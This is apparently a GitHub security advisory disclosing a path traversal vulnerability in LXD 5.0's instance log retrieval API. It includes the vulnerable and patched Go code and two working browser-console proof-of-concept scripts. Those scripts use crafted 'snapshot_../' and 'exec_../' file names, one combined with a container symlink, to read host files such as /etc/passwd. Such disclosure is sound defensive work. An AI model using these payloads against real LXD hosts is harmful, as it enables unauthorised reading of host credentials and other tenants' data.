Skip to content

Path Traversal Vulnerability in Instance Log File Retrieval Function

Moderate
tomponline published GHSA-472f-vmf2-pr3h Oct 2, 2025

Package

lxd (lxd)

Affected versions

>= 4.0

Patched versions

>= 5.21.0

Description

Impact

Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

lxd/lxd/instance_logs.go

Lines 152 to 163 in 1f8c9f7

func validLogFileName(fname string) bool {
/* Let's just require that the paths be relative, so that we don't have
* to deal with any escaping or whatever.
*/
return fname == "lxc.log" ||
fname == "lxc.conf" ||
fname == "qemu.log" ||
fname == "qemu.conf" ||
strings.HasPrefix(fname, "migration_") ||
strings.HasPrefix(fname, "snapshot_") ||
strings.HasPrefix(fname, "exec_")
}

This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

lxd/lxd/instance_logs.go

Lines 665 to 679 in 43d5189

func validLogFileName(fname string) bool {
if !shared.IsFileName(fname) {
return false
}
/* Let's just require that the paths be relative, so that we don't have
* to deal with any escaping or whatever.
*/
return fname == "lxc.log" ||
fname == "lxc.conf" ||
fname == "qemu.log" ||
fname == "qemu.conf" ||
strings.HasPrefix(fname, "migration_") ||
strings.HasPrefix(fname, "snapshot_")
}

lxd/shared/util.go

Lines 833 to 835 in 43d5189

func IsFileName(name string) bool {
return !strings.Contains(name, "/") && !strings.Contains(name, "\\") && !strings.Contains(name, "..")
}

This function ensures that filenames do not contain /, , or .. .

Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't
succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

lxd/lxd/instance_logs.go

Lines 218 to 269 in 43d5189

func instanceLogGet(d *Daemon, r *http.Request) response.Response {
s := d.State()
instanceType, err := urlInstanceTypeDetect(r)
if err != nil {
return response.SmartError(err)
}
projectName := request.ProjectParam(r)
name, err := url.PathUnescape(mux.Vars(r)["name"])
if err != nil {
return response.SmartError(err)
}
if shared.IsSnapshot(name) {
return response.BadRequest(errors.New("Invalid instance name"))
}
// Handle requests targeted to a container on a different node
resp, err := forwardedResponseIfInstanceIsRemote(s, r, projectName, name, instanceType)
if err != nil {
return response.SmartError(err)
}
if resp != nil {
return resp
}
// Ensure instance exists.
inst, err := instance.LoadByProjectAndName(s, projectName, name)
if err != nil {
return response.SmartError(err)
}
file, err := url.PathUnescape(mux.Vars(r)["file"])
if err != nil {
return response.SmartError(err)
}
if !validLogFileName(file) {
return response.BadRequest(fmt.Errorf("Log file name %q not valid", file))
}
ent := response.FileResponseEntry{
Path: filepath.Join(inst.LogPath(), file),
Filename: file,
}
s.Events.SendLifecycle(projectName, lifecycle.InstanceLogRetrieved.Event(file, inst, request.CreateRequestor(r), nil))
return response.FileResponse([]response.FileResponseEntry{ent}, nil)
}

Related part of instanceLogDelete function:

lxd/lxd/instance_logs.go

Lines 331 to 347 in 43d5189

file, err := url.PathUnescape(mux.Vars(r)["file"])
if err != nil {
return response.SmartError(err)
}
if !validLogFileName(file) {
return response.BadRequest(fmt.Errorf("Log file name %q not valid", file))
}
if !strings.HasSuffix(file, ".log") || file == "lxc.log" || file == "qemu.log" {
return response.BadRequest(errors.New("Only log files excluding qemu.log and lxc.log may be deleted"))
}
err = os.Remove(filepath.Join(inst.LogPath(), file))
if err != nil {
return response.SmartError(err)
}

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

  1. Log in with an account having access to LXD-UI
  2. Open browser DevTools and execute the following JavaScript to attempt path traversal
    attack:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousLogFile =
encodeURIComponent('snapshot_../../../../../../../../../../etc
/passwd');
const response = await
fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}
?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

Description (2)

A similar issue also exists in the validExecOutputFileName function:

lxd/lxd/instance_logs.go

Lines 681 to 688 in 43d5189

func validExecOutputFileName(fName string) bool {
if !shared.IsFileName(fName) {
return false
}
return (strings.HasSuffix(fName, ".stdout") || strings.HasSuffix(fName, ".stderr")) &&
strings.HasPrefix(fName, "exec_")
}

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified.
However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

  1. Open terminal in instance using LXD-UI and create symbolic link:
ln -s /etc/passwd exec_XXX-symlink.stdout
  1. Execute the following JavaScript in browser DevTools to read files via symbolic link:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousExecFile =
encodeURIComponent(`exec_../../../../../../../../../../../var/
snap/lxd/common/lxd/storage-pools/${projectName}/containers/${
instanceName}/rootfs/root/exec_XXX-symlink.stdout`);
const response = await
fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic
iousExecFile}?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk

This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information:
-​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.)
-​ LXD database files (containing information about all projects and instances)
-​ Configuration files and data of other instances
-​ Sensitive information on the host system

Countermeasures

Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Ignored - Not critical
4.0 Ignored - Not critical

References

Reported by GMO Flatt Security Inc.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2025-54293

Weaknesses

No CWEs